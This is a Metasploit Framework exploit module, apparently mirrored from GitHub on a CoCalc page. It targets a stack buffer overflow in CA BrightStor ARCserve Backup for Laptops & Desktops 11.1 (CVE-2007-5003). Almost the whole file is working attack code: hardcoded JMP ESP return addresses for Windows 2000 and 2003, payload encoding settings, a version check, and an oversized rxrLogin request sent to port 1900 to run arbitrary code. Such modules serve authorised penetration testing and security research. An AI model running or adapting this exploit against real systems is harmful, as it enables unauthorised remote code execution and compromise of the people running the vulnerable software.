Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/brightstor/lgserver_rxrlogin.rb
19567 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::Tcp
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'CA BrightStor ARCserve for Laptops and Desktops LGServer Buffer Overflow',
16
'Description' => %q{
17
This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup
18
for Laptops & Desktops 11.1. By sending a specially crafted request, an attacker could
19
overflow the buffer and execute arbitrary code.
20
},
21
'Author' => [ 'MC' ],
22
'License' => MSF_LICENSE,
23
'References' => [
24
[ 'CVE', '2007-5003' ],
25
[ 'OSVDB', '41353' ],
26
[ 'BID', '24348' ],
27
],
28
'Privileged' => true,
29
'DefaultOptions' => {
30
'EXITFUNC' => 'process',
31
},
32
'Payload' => {
33
'Space' => 550,
34
'BadChars' => "\x00",
35
'StackAdjustment' => -3500,
36
'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
37
},
38
'Platform' => 'win',
39
'Targets' => [
40
[ 'Windows 2003 SP0 English', { 'Ret' => 0x71ae1f9b } ], # JMP ESP wshtcpip.dll
41
[ 'Windows 2000 SP4 English', { 'Ret' => 0x7c30d043 } ], # JMP ESP advapi32.dll
42
],
43
'DisclosureDate' => '2007-06-06',
44
'DefaultTarget' => 0,
45
'Notes' => {
46
'Reliability' => UNKNOWN_RELIABILITY,
47
'Stability' => UNKNOWN_STABILITY,
48
'SideEffects' => UNKNOWN_SIDE_EFFECTS
49
}
50
)
51
)
52
53
register_options([ Opt::RPORT(1900) ])
54
end
55
56
def check
57
connect
58
59
sock.put("0000000019rxrGetServerVersion")
60
ver = sock.get_once
61
62
disconnect
63
64
if (ver and ver =~ /11\.1\.742/)
65
return Exploit::CheckCode::Appears
66
end
67
68
return Exploit::CheckCode::Safe
69
end
70
71
def exploit
72
connect
73
74
buffer = rand_text_alpha_upper(17420) + [target.ret].pack('V')
75
buffer << payload.encoded + rand_text_alpha_upper(300)
76
77
sploit = "0000018124" # Command Length Field
78
sploit << "rxrLogin" # RPC Command
79
sploit << "~~" # Constant Argument Delimiter
80
sploit << buffer # Argument
81
82
print_status("Trying target #{target.name}...")
83
# One-shot overwrite...
84
sock.put(sploit)
85
86
handler
87
disconnect
88
end
89
end
90
91